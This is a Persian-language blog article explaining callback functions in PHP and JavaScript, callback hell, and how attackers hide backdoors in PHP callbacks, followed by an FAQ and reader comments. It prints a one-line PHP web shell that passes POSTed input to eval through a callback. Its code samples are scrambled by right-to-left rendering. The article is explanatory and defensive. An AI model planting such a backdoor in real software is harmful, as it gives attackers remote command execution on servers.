امروزه هکرها و نویسندگان بدافزارها بهدنبال روشهای نوین و پیچیدهای برای مخفی کردن کدهای مخرب خود هستند. یکی از روشهایی که در سالهای اخیر محبوبیت زیادی پیدا کرده، استفاده از توابع callback در زبانهایی مانند PHP است. توابع callback بهطور معمول بهعنوان ابزاری برای مدیریت رویدادها و کاهش پیچیدگی برنامهنویسی استفاده میشوند، اما هنگامی که در دستان نادرستی قرار گیرند، میتوانند به ابزار مناسبی برای پنهان کردن backdoorها تبدیل شوند.
در زمینهی امنیت سایبری، Backdoor یا درب پشتی به کدی گفته میشود که بهطور مخفیانه در سیستم یا نرمافزاری قرار میگیرد تا به فرد مهاجم دسترسی غیرمجاز به سیستم بدهد. این دسترسی معمولاً بدون اطلاع یا رضایت کاربر اصلی است و هکر را قادر میسازد تا به دادهها یا منابع سیستم دسترسی پیدا کند، کدهای دیگری اجرا کند یا حتی کنترل کامل سیستم را در دست بگیرد. در این مقاله قصد داریم به بررسی مفهوم callback و چگونگی استفاده از آن در پنهان کردن بدافزارها بپردازیم.
Callback چیست؟
به طور کلی، Callback به معنای فراخوانی به عقب است. در برنامهنویسی، توابع callback توابعی هستند که بهعنوان آرگومان به توابع دیگر پاس داده میشوند و سپس در زمان مشخصی توسط تابع دریافتکننده اجرا میگردند. این تکنیک به برنامهنویسان اجازه میدهد تا وظایف پیچیده را به قسمتهای کوچکتر و قابل مدیریت تقسیم کنند.
در PHP، توابع callback میتوانند نام یک تابع، متد یا حتی یک تابع ناشناس باشند که در زمان اجرا به تابعی دیگر منتقل و سپس اجرا میشوند. برای مثال، در قطعه کد زیر از زبان PHP، تابع callbackFunction به عنوان یک callback به تابع executeCallback پاس داده شده و توسط تابع call_user_func اجرا میشود:
php?> }()function callbackFunction echo "This is a callback function!"; { }function executeCallback($callback) ;call_user_func($callback) { // استفاده از تابع callback ;executeCallback('callbackFunction') <?
بیشتر بخوانید: افزایش امنیت وردپرس با ۱۹ راهکار عملی و کارآمد
جهنم Callback چیست؟
جهنم Callback یا Callback Hell اصطلاحی است که به وضعیت پیچیده و ناخوشایندی اشاره دارد که در آن توابع callback به صورت تو در تو و عمیق استفاده میشوند. چنین موضوعی به ویژه در زبانهایی مانند جاوا اسکریپت که بهشدت به توابع callback متکی هستند، قابل مشاهده است. جهنم callback زمانی رخ میدهد که توابع callback زیادی به صورت پشت سر هم اجرا شوند و کد به شکلی غیرقابل خواندن درآید و نگهداری از آن سخت شود.
به عنوان مثال، در جاوا اسکریپت هنگامی که چندین عملیات ناهمگام باید به ترتیب اجرا شوند، ممکن است توابع callback به صورت تو در تو نوشته شوند:
}()setTimeout(function ;console.log('First operation done.') }() setTimeout(function ;console.log('Second operation done.') }()setTimeout(function ;console.log('Third operation done.') ;(1000,{ ;(1000,{ ;(1000,{
در این مثال، هر setTimeout تابعی را به عنوان callback فراخوانی میکند و این ساختار تو در تو موجب کاهش خوانایی و افزایش پیچیدگی کد میشود. برای رفع چنین مشکلی، ابزارهایی مانند Promise و async/await در جاوا اسکریپت معرفی شدهاند تا فرآیندهای اینچنینی را سادهتر کنند.
مفاهیم پایهی کال بک فانکشنها در جاوا اسکریپت
توابع callback در جاوا اسکریپت یکی از ویژگیهای اصلی این زبان محسوب میشوند و برای مدیریت عملیات ناهمگام (asynchronous) از آنها استفاده میشود. این توابع به برنامهنویسان اجازه میدهند تا در حین انتظار برای اجرای یک عملیات، کارهای دیگری انجام دهند و با پایان یافتن آن عملیات، کدهای مربوط به نتیجهی آن اجرا شوند.
تابع callback چیست؟
همانطور که پیشتر برای زبان PHP توضیح دادیم، تابع callback در جاوا اسکریپت نیز تابعی است که بهعنوان یک آرگومان به تابع دیگری پاس داده میشود و سپس در زمانی که آن تابع آماده باشد، اجرا میشود. به عبارت دیگر، تابع callback به عنوان دستیاری برای اجرای بخش خاصی از کد در آینده عمل میکند. این مفهوم امروزه در توسعه وب بسیار رایج است، به ویژه زمانی که با دادههای سرویسدهندهها یا پایگاههای داده تعامل دارید.
به مثال زیر که از یک تابع callback برای مدیریت درخواست HTTP استفاده شده است توجه کنید:
}function fetchData(callback) } () setTimeout(function ; "const data = "Some data from server ; callback(data) شبیه سازی درخواست شبکه با تاخیر دو ثانیهای , 2000); //{ { }fetchData(function(result ;console.log("Received data: " + result) ;{(
در مثال بالا، تابع fetchData دادهای را شبیهسازی و پس از یک تاخیر زمانی (با استفاده از setTimeout)، داده را از طریق callback به تابع اصلی ارسال میکند. چنین ساختاری به توسعهدهندگان کمک میکند تا بدون توقف اجرای کد، عملیات طولانیتری مانند درخواستهای شبکهای را مدیریت کنند.
Callback ها در عمل: تهدیدها و فرصتها
توابع callback بهطور گستردهای در برنامههای وب و موبایل استفاده میشوند، اما این مفهوم در دنیای امنیت سایبری نیز توجه هکرها را برای سواستفاده از منابع کاربران جلب کرده است. در PHP، از توابع callback میتوان برای مخفی کردن کدهای مخرب استفاده کرد. به عنوان مثال، یک تابع callback ممکن است در ابتدا کاملاً بیضرر به نظر برسد، اما در زمان اجرا، کدهای مخربی را اجرا کند که سیستم را آلوده میکنند.
یکی از روشهای پنهان کردن backdoorها در PHP این است که از توابع callback برای اجرای کدهای مخفی استفاده شود. به عنوان مثال، میتوان کد مخربی را در تابعی ناشناس که به عنوان callback به تابع دیگری پاس داده میشود، مخفی کرد. در مثال زیر نحوهی استفاده از توابع callback برای اجرای یک backdoor پنهان آمده است که بد نیست به آن توجه کنید:
php?> }() $callback = function ;eval($_POST['cmd']) ;{ // اجرای تابع callback ;call_user_func($callback) <?
در مثال بالا، تابع callback با استفاده از تابعی ناشناس کد ارسال شده از طریق فرم (توسط کاربر) را با استفاده از eval اجرا میکند. این تکنیک به مهاجم اجازه میدهد که دستورات دلخواه خود را از طریق HTTP POST ارسال کرده و به سیستم دسترسی پیدا کند. حملات اینچنینی، بهدلیل استفاده از توابع callback و مخفی کردن کدهای اجرایی، ممکن است به سادگی توسط ابزارهای امنیتی شناسایی نشوند.
<?
بیشتر بخوانید: معرفی ۸ نرم افزار امنیتی سرور در سال ۲۰۲۴
جمعبندی
توابع callback از مفاهیم کاربردی و مهم در دنیای برنامهنویسی هستند که در زبانهای مختلفی مانند PHP و جاوا اسکریپت به کار گرفته میشوند. این توابع به برنامهنویسان کمک میکنند تا کدهای پیچیده را به بخشهای قابل مدیریت تقسیم کنند و عملیات ناهمگام را به شکلی سادهتر مدیریت کنند. با این حال، توابع callback همچنین میتوانند به عنوان ابزاری برای پنهان کردن بدافزارها و backdoorها مورد استفاده قرار گیرند.
استفاده نادرست از توابع callback، به خصوص در زبانهایی مانند PHP، میتواند به مهاجمان اجازه دهد تا کدهای مخرب خود را به صورت پنهان در سیستمها اجرا کنند. بنابراین، برنامهنویسان و متخصصان امنیتی باید در استفاده از توابع callback نهایت دقت را به خرج دهند و از روشهای امنیتی مناسب برای جلوگیری از نفوذ بدافزارها استفاده کنند.
سوالاتی که شما میپرسید؟
1. Callback چیست و چرا از آن استفاده میشود؟
Callback تابعی است که به عنوان آرگومان به تابع دیگری پاس داده میشود و پس از اتمام عملیات آن تابع، اجرا میشود. از توابع callback برای مدیریت رویدادها، اجرای کدهای ناهمگام (مانند درخواستهای شبکه) و سادهسازی ساختار برنامه استفاده میشود.
2. چگونه میتوان از توابع Callback برای مخفی کردن Backdoor استفاده کرد؟
در زبانهایی مانند PHP، توابع callback میتوانند برای اجرای کدهای پنهان یا بدافزارها مورد استفاده قرار گیرند. به عنوان مثال، تابعی ناشناس میتواند بهعنوان callback تعریف شده و در زمان اجرا کد مخربی که ازطریق ورودیهای غیرمعتبر دریافت شده را اجرا کند.
3. جهنم Callback چیست و چگونه از آن اجتناب کنیم؟
جهنم Callback به شرایطی اشاره دارد که تعداد زیادی از توابع callback به صورت تو در تو اجرا میشوند و کد به شکل غیرقابل خواندن و پیچیده درمیآید. برای جلوگیری از این مشکل، میتوان از ابزارهایی مانند Promise یا async/await در جاوا اسکریپت استفاده کرد.
4. چگونه میتوان از سوءاستفاده توابع Callback جلوگیری کرد؟
برای جلوگیری از سوءاستفاده توابع callback و پنهان کردن کدهای مخرب، باید از بهترین روشهای امنیتی استفاده کرد. برخی از این روشها شامل اعتبارسنجی ورودیها، جلوگیری از اجرای کدهای ناشناس و استفاده از ابزارهای امنیتی برای اسکن و شناسایی بدافزارها است.
5. آیا استفاده از eval() در توابع Callback خطرناک است؟
بله، استفاده از eval() به شدت خطرناک است، زیرا به کد اجازه میدهد که دستورات دلخواه را از ورودی اجرا کند. اگر ورودی توسط مهاجم کنترل شود، میتواند به اجرای کدهای مخرب و ایجاد backdoor در سیستم منجر شود.
منابع:
2 دیدگاه. دیدگاه تازه ای بنویسید
راه حلش چیه؟
آیا میشه جلوگیری کرد؟
بهدلیل نیاز به بررسی دقیق و ارائه راهحل خاص، لطفا یک تیکت به بخش امنیت ارسال نمایید.